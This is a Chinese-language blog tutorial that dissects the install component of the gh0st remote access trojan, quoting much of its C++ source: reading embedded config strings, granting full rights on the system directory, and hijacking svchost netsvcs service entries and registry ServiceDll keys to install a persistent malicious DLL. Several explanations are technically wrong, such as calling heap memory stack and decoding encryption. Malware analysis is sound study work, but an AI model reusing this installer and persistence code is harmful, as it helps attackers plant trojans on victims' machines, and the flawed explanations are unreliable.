Gh0st源代码详细剖析
聲明:
首先聲明,這篇文章完全是根據自己對gh0st源代碼的理解寫出來的,如果有理解上的偏差或者表述上的錯誤本人不負責,僅供參考!
前言:
在我剛學習gh0st源代碼的時候,覺得這東西好難,三個工程放在一起不說,還有那么多文件,當時就懵了。這怎么看呢?從何下手呢?我想大部分剛學習gh0st源代碼的同胞們都有和我一樣的想法,我廢話不多說了,下面就為大家詳細講解gh0st源代碼。
思路:
首先我會講解gh0st的整體框架,包括三個工程之間的關系和每個工程的作用;然后再根據程序的執行順序,從入口函數WinMain開始逐步向下講解。
框架:
gh0st有三個工程,分別是gh0st、install和svchost。那么這三個工程有什么作用呢?首先gh0st這個工程,是生成控制端的一個工程,換句話說就是用MFC寫的界面。但是你千萬不要小看它。因為它絕不僅僅是一個界面那么簡單,在這個控制端里面還包括IOCP完成端口、網絡socket和控制端與服務端之間的數據傳輸;install這個工程較其他兩個工程就簡單多了,因為它只有一個.h文件和一個.cpp文件。這個工程是整個程序的入口,因為WinMain函數就在這里,它的主要功能就是生成一個exe文件,而這個exe文件的工程就是安裝和啟動dll里面的服務的;接下來就是第三個工程了,前面所說的dll就是這個工程。它的主要功能就是執行服務函數,并完成與控制端的通信。
所以用一句話來概括gh0st的功能就是:exe安裝并啟動dll里面的服務,dll執行服務并與控制端進行通信,從而實現各項遠程功能。
代碼解讀:
首先看install這個工程:(紅色部分為源代碼)
int APIENTRY WinMain(HINSTANCE hInstance,
?????????????????????HINSTANCE hPrevInstance,
?????????????????????LPSTR?????lpCmdLine,
?????????????????????int???????nCmdShow)
{
?// 讓啟動程序時的小漏斗馬上消失
?GetInputState();
?PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
?MSG?msg;
?GetMessage(&msg, NULL, NULL, NULL);
?char?*lpEncodeString = NULL;
?char?*lpServiceConfig = NULL;
?char?*lpServiceDisplayName = NULL;
?char?*lpServiceDescription = NULL;
這個WinMain函數就是程序的入口,四個參數分別是hInstance應用程序當前的實例句柄、hPrevInstance應用程序先前的實例句柄、lpCmdLine指定傳給應用程序的命令行參數、nCmdShow指定窗口如何顯示;首先是GetInputState()這個API函數,它的功能是要讓小漏斗馬上消失,這是因為以前的cpu運行速度很慢,所以當你打開一個程序的時候會有一個小漏斗在屏幕上顯示,直到程序打開漏斗才消失;然后是PostThreadMessage(GetCurrentThreadId(),NULL,0,0)這個函數,大家首來先看GetCurrentThreadId這個函數,這個函數的功能是獲得當前線程的PID,也就是獲得當前正在運行線程的唯一標示符;而PostThreadMessage這個函數呢就是把當前線程的唯一標示符送入系統的消息隊列中。說了半天的當前線程,那么線程究竟是什么呢?所謂線程,說白了就是計算機中正在運行的程序,那么在gh0st里面這個正在運行的程序是什么呢?其實這個正在運行的程序就是在控制端生成的服務端,也就是人們所說的木馬。但是它一定是加上上線字串的,否則它是不會運行的,這個我們后面會講到。接下來定義了幾個指針變量,并賦值為NULL,下面我們會依次講解。
lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA");
?if (lpEncodeString == NULL)
?{
??return -1;
?}
下面就讓我們來看一下lpEncodeString這個變量是什么意思,在看它之前呢要先看一下FindConfigString這個函數的作用。
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
?char?strFileName[MAX_PATH];
?char?*lpConfigString = NULL;
?DWORD?dwBytesRead = 0;
?GetModuleFileName(hModule, strFileName, sizeof(strFileName));
?HANDLE?hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
?if (hFile == INVALID_HANDLE_VALUE)
?{
??return NULL;
?}
首先看這個函數的兩個參數,hModule當前程序的實例句柄,lpString就是"AAAAAA"這個字符串。后面定義了一個大小為260的字符數組和一個為空的字符串指針還有一個雙字型的變量;然后調用了GetModuleFileName這個函數,這個函數就是獲取一個已裝載模板的完整路徑名稱并復制到它的第二個參數里面,也就是把服務端的完整路徑保存在數組變量strFileName里面;然后調用了CreateFile這個API函數用來打開剛剛保存路徑的文件,返回文件句柄。后面進行一個判斷,如果文件不存在,那么返回空并跳出。
?SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
?lpConfigString = new char[MAX_CONFIG_LEN];
?ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
?CloseHandle(hFile);
?接下來調用了SetFilePointer這個函數,這個函數的功能就是設置一個文件中當前的讀寫位置。四個參數分別是hFile系統文件句柄、-MAX_CONFIG_LEN文件偏移量、NULL通常為空、FILE_END文件結束位置。那么這個函數的意思就是將讀取文件的指針設置到距離文件結束位置MAX_CONFIG_LEN=1024個字符的位置上;接下來為lpConfigString這個變量申請一個大小為MAX_CONFIG_LEN=1024的棧空間。后面調用了ReadFile這個函數,將原來打開的文件末尾的1024個字符復制到剛剛申請的棧中;關閉原來打開的文件。
?int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
接下來來看memfind這個函數,先看它的四個參數:lpConfigString剛剛申請的棧,里面放有文件末尾的10234個字符信息、lpString六個A的字符串、MAX_CONFIG_LEN1024、0。
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0)
da = strlen(str);
else
da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
首先定義了三個整形變量;進行了一個判斷,sizes為零那么da=6。之后是一個for循環的嵌套,外面的for循環次數為1024次,也就是那個棧中所有字符遍歷一遍。里面的for循環次數為6次,接下來進行一個判斷,如果棧里面的字符沒有連續六個A出現,那么就跳出內部循環i++,直到找到六個A為止,返回找到六個A的為止。如果最后沒有找到那么就返回-1
?if (offset == -1)
?{
??delete lpConfigString;
??return NULL;
?}
里接下來進行了一次判斷,如果剛剛的memfind函數返回的是-1,那么刪除??臻g,然后返回空。
?else
?{
??return lpConfigString + offset;
?}
}
如果返回值不是空,那么返回找到六個A的為止。結束FindConfigString函數。相信現在你一定知道lpEncodeString這個變量是什么意思了,沒錯!它就是在原始文件中六個A的出現位置。
接下來回到WinMain函數
lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC");
?if (lpServiceConfig == NULL)
?{
??return -1;
?}
我想這段代碼應該不用解釋了吧,和上面的原理完全相同!要是連這段代碼都看不懂,那我只能說:親,別往下看了,回去學C語言吧!
char?*pos = strchr(lpServiceConfig, '|');
?if (pos == NULL)
?{
??return -1;
?}
?*pos = '\0';
接下來看一下這個函數strchr,它的功能是在文件中找到第一次出現'|'的為止,并將這個位置賦值給新定義的字符指針*pos,接下來進行一個判斷,如果不存在這樣的位置,那么返回-1,若存在,則在'|'后面加上'\0'進行字符串截斷。
?lpServiceDisplayName = MyDecode(lpServiceConfig + 6);
?lpServiceDescription = MyDecode(pos + 1);
?if (lpServiceDisplayName == NULL || lpServiceDescription == NULL)
?{
??return -1;
?}
接下來調用了兩次MyDecode函數,這是作者自寫的一個加密函數,加密算法可以查到,這個加密函數我就不講了,總之這個函數的目的就是將這兩個字符串加密。其實現在你應該能看出來:'CCCCCC'后面的字符串就是服務名稱,而'AAAAAA'后面的字符串就是服務描述。接下來進行了一次判斷,如果服務名稱或者服務描述任何一個為空,程序都不會再繼續執行,這就是我之前說的那個服務端一定要加上上線字串的,否則它是不會運行的!?
char?*lpServiceName = NULL;
?char?*lpUpdateArgs = "MyCmd Update";
?// 如果不是更新服務端
?if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
?{
??HANDLE?hMutex = CreateMutex(NULL, true, lpEncodeString);
??DWORD?dwLastError = GetLastError();
??// 普通權限訪問系統權限創建的Mutex,如果存在,如果存在就返回拒絕訪問的錯誤
??// 已經安裝過一個一模一樣配置的,就不安裝了
??if (dwLastError == ERROR_ALREADY_EXISTS || dwLastError == ERROR_ACCESS_DENIED)
??{
???return -1;
??}
??ReleaseMutex(hMutex);
??CloseHandle(hMutex);
?}
接下來定義了兩個字符型指針變量,第一個是服務名稱,下面會用到;第二個是更新服務端的一個標志字符串。接下來進行一個判斷,首先看一下GetCommandLine這個API函數,它的功能是獲取當前線程的命令行參數,那么if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)這句代碼的意思就很明顯了,就是判斷在當先線程的命令行中"MyCmd Update"這個字符串的出現位置,如果沒有這個字符串,那么就要創建一個指向lpEncodeString的互斥體,創建它的作用就是防止程序運行兩次或者兩次以上;接下來如果創建失敗的話就返回失敗原因,后面進行一個判斷,如果互斥體已經存在或者拒絕訪問則返回-1并跳出。接下來釋放互斥體,關閉互斥體。
else
?{
??// 等待服務端自刪除
??Sleep(5000);
?}
如果是更新服務端,則等待服務端自刪除。
SetUnhandledExceptionFilter(bad_exception);
這是一個設置異常捕獲函數。當異常沒有處理的時候,系統就會調用SetUnhandledExceptionFilter所設置異常處理函數。
SetAccessRights();
這是一個設置獲取系統權限的函數,接下來進入到這個函數內部看看。
void SetAccessRights()
{
?char?lpUserName[50], lpGroupName[100], lpDriverDirectory[MAX_PATH],
lpSysDirectory[MAX_PATH];
?DWORD?nSize = sizeof(lpUserName);
?
?LPLOCALGROUP_USERS_INFO_0 pBuf = NULL;??
?DWORD???dwEntriesRead = 0;??
?DWORD???dwTotalEntries = 0;??
?NET_API_STATUS???nStatus;
?WCHAR wUserName[100];
上面都是變量的定義,后面用到的時候再說。
?ZeroMemory(lpUserName, sizeof(lpUserName));
?ZeroMemory(lpDriverDirectory, sizeof(lpDriverDirectory));
?ZeroMemory(lpSysDirectory, sizeof(lpSysDirectory));
?GetSystemDirectory(lpSysDirectory, sizeof(lpSysDirectory));
?GetUserName(lpUserName, &nSize);
接下來調用了幾個ZeroMemory函數,作用是將那三個內存塊清零。然后調用了GetSystemDirectory獲取系統目錄的完整路徑并儲存到lpSysDirectory這個數組中。后面調用了GetUserName函數獲取當前用戶名,并保存在lpUserName這個變量中。
?// 設置成員權限
?AddAccessRights(lpSysDirectory, lpUserName, GENERIC_ALL);
?MultiByteToWideChar( CP_ACP, 0, lpUserName, -1, wUserName, sizeof(wUserName) / sizeof(wUserName[0]));
提升用戶權限;將用戶名轉換為寬字符并保存在wUserName變量中。?
?nStatus = NetUserGetLocalGroups(NULL,??
??(LPCWSTR)wUserName,
??0,??
??LG_INCLUDE_INDIRECT,??
??(LPBYTE???*) &pBuf,??
??MAX_PREFERRED_LENGTH,??
??&dwEntriesRead,??
??&dwTotalEntries);??
?接下來這個函數是檢索指定的用戶wUserName屬于哪一個組,并將得到的組名保存到結構指針變量pBuf中。
?if (nStatus == NERR_Success)??
?{??
??LPLOCALGROUP_USERS_INFO_0 pTmpBuf;??
??DWORD i;??
??if ((pTmpBuf = pBuf) != NULL)
??{??
???for (i = 0; i < dwEntriesRead; i++)??
???{
????if (pTmpBuf == NULL)????
?????break;
????WideCharToMultiByte(CP_OEMCP, 0, (LPCWSTR)pTmpBuf->lgrui0_name, -1, (LPSTR)lpGroupName, sizeof(lpGroupName), NULL, FALSE);
????// 設置組的權限
????AddAccessRights(lpSysDirectory, lpGroupName, GENERIC_ALL);
????pTmpBuf++;?
???}??
??}?????
?}??
接下來是一個判斷,如果上面的檢索組操作成功,那么定義一個LPLOCALGROUP_USERS_INFO_0結構類型的指針變量pTmpBuf和雙字型的變量i;接下來又是一個判斷,先將用戶所在的組名賦值給pTmpBuf并判斷是否為空,若不為空則進入到下面的for循環。
如果pTmpBuf指向的字符為空則跳出,接下來調用WideCharToMultiByte函數將寬字符的組名轉換為多字符集。最后調用AddAccessRights設置改組的權限為最高
?if (pBuf != NULL)??
?{
??NetApiBufferFree(pBuf);
?}
}
最后,釋放緩沖區pBuf。
?
接下來請看下面的代碼,個人認為這是最為關鍵的地方之一。
lpServiceName = InstallService(lpServiceDisplayName, lpServiceDescription, lpEncodeString);
。這句代碼的功能就是安裝服務,它的三個參數分別為加密過的服務名稱、加密過的服務描述和未加密的六個A所在的位置。
下面看這個函數是如何實現的:
char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription, LPCTSTR lpConfigString)
{
?OutputDebugString("EXE install.cpp *InstallService in");
????// Open a handle to the SC Manager database.
?char *lpServiceName = NULL;
????int rc = 0;
????HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
????SC_HANDLE hscm = NULL, schService = NULL;
?char strModulePath[MAX_PATH];
?char?strSysDir[MAX_PATH];
?DWORD?dwStartType = 0;
上面的都是定義的變量,用到的時候再說。
?try
?{
??char strSubKey[1024] = { 0 };
??char *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
??rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
??if(ERROR_SUCCESS != rc)
??{
???throw "";
??}
接下來定義了兩個變量,其中第二個變量賦值為注冊表中Svchost的目錄;接下來調用了RegOpenKeyEx函數來打開注冊表目錄HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost。后面進行一個判斷,如果打開失敗則跳出。
??DWORD type, size = sizeof strSubKey;
??rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
??RegCloseKey(hkRoot);
??SetLastError(rc);
??if(ERROR_SUCCESS != rc)
??{
???throw "RegQueryValueEx(Svchost\\netsvcs)";
??}
接下來又定義了兩個變量,調用了RegQueryValueEx函數來獲取hkRoot路徑下的netsvcs服務組的設置值,并將它儲存到緩沖區strSubKey中。接下來關閉剛剛打開的注冊表路徑,設置錯誤返回值rc并判斷,如果沒有取得netsvcs的設置值,那么跳出。
??hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
??if (hscm == NULL)
??{
???throw "OpenSCManager()";
??}
接下來調用了OpenSCManager函數來打開服務控制管理器并將句柄賦值給hscm ,判斷,如果沒有打開則跳出。
??GetSystemDirectory(strSysDir, sizeof(strSysDir));
??char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
??char?strRegKey[1024] = { 0 };
接下來調用GetSystemDirectory函數獲取windows系統目錄的完整路徑名,并將其保存在緩沖區strSysDir中。后面是兩個變量的定義,要說一下bin這個變量的值是服務的可執行文件的路徑名,后面的netsvcs就是該服務所在的服務組。
?char?strRegKey[1024];
????for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1)
????{
??//
??char temp[500];
??wsprintf(temp, "SYSTEM\\CurrentControlSet\\Services\\%s", ptr);
??rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, temp, 0, KEY_QUERY_VALUE, &hkRoot);
??if (rc == ERROR_SUCCESS)
??{
???RegCloseKey(hkRoot);
???continue;
??}
??memset(strModulePath, 0, sizeof(strModulePath));
??wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, ptr);
??// 刪除試試
??DeleteFile(strModulePath);
??// 以前的服務文件沒有刪除之前,服務的DLL還在svchost中,所以不用這個服務
??if (GetFileAttributes(strModulePath) != INVALID_FILE_ATTRIBUTES)
???continue;
??wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", ptr);
??schService = CreateService(
???hscm,???????????????????????// SCManager database
???ptr,????????????????????// name of service
???lpServiceDisplayName,??????????// service name to display
???SERVICE_ALL_ACCESS,????????// desired access
???SERVICE_WIN32_SHARE_PROCESS,
???SERVICE_AUTO_START,??????// start type
???SERVICE_ERROR_NORMAL,??????// error control type
???bin,????????// service's binary
???NULL,??????????????????????// no load ordering group
???NULL,??????????????????????// no tag identifier
???NULL,??????????????????????// no dependencies
???NULL,??????????????????????// LocalSystem account
???NULL);?????????????????????// no password
??
??if (schService != NULL)
???break;
?}
?if (schService == NULL)
?{
??lpServiceName = AddsvchostService();
??memset(strModulePath, 0, sizeof(strModulePath));
??wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
??wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
??schService = CreateService(
???hscm,??????????????????????// SCManager database
???lpServiceName,????????????????????// name of service
???lpServiceDisplayName,???????????// service name to display
???SERVICE_ALL_ACCESS,????????// desired access
???SERVICE_WIN32_OWN_PROCESS,
???SERVICE_AUTO_START,??????// start type
???SERVICE_ERROR_NORMAL,??????// error control type
???bin,????????// service's binary
???NULL,??????????????????????// no load ordering group
???NULL,??????????????????????// no tag identifier
???NULL,??????????????????????// no dependencies
???NULL,??????????????????????// LocalSystem account
???NULL);?????????????????????// no password
??dwStartType = SERVICE_WIN32_OWN_PROCESS;
?}
?else
?{
??dwStartType = SERVICE_WIN32_SHARE_PROCESS;
??lpServiceName = new char[lstrlen(ptr) + 1];
??lstrcpy(lpServiceName, ptr);
?}
?if (schService == NULL)
??throw "CreateService(Parameters)";
????CloseServiceHandle(schService);
????CloseServiceHandle(hscm);
????//config service
????hkRoot = HKEY_LOCAL_MACHINE;
?wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
?if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
?{??
??DWORD?dwServiceType = 0x120;
??WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
?}
?WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
?lstrcat(strSubKey, "\\Parameters");
?WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
????}catch(char *str)
????{
????????if(str && str[0])
????????{
????????????rc = GetLastError();
????????}
????}
?
????RegCloseKey(hkRoot);
????RegCloseKey(hkParam);
????CloseServiceHandle(schService);
????CloseServiceHandle(hscm);
?
?if (lpServiceName != NULL)
?{
??ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
?}
????return lpServiceName;
}
總結
以上是生活随笔為你收集整理的Gh0st源代码详细剖析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: gh0st源码分析与远控的编写(四)
- 下一篇: SQL SERVER中强制类型转换cas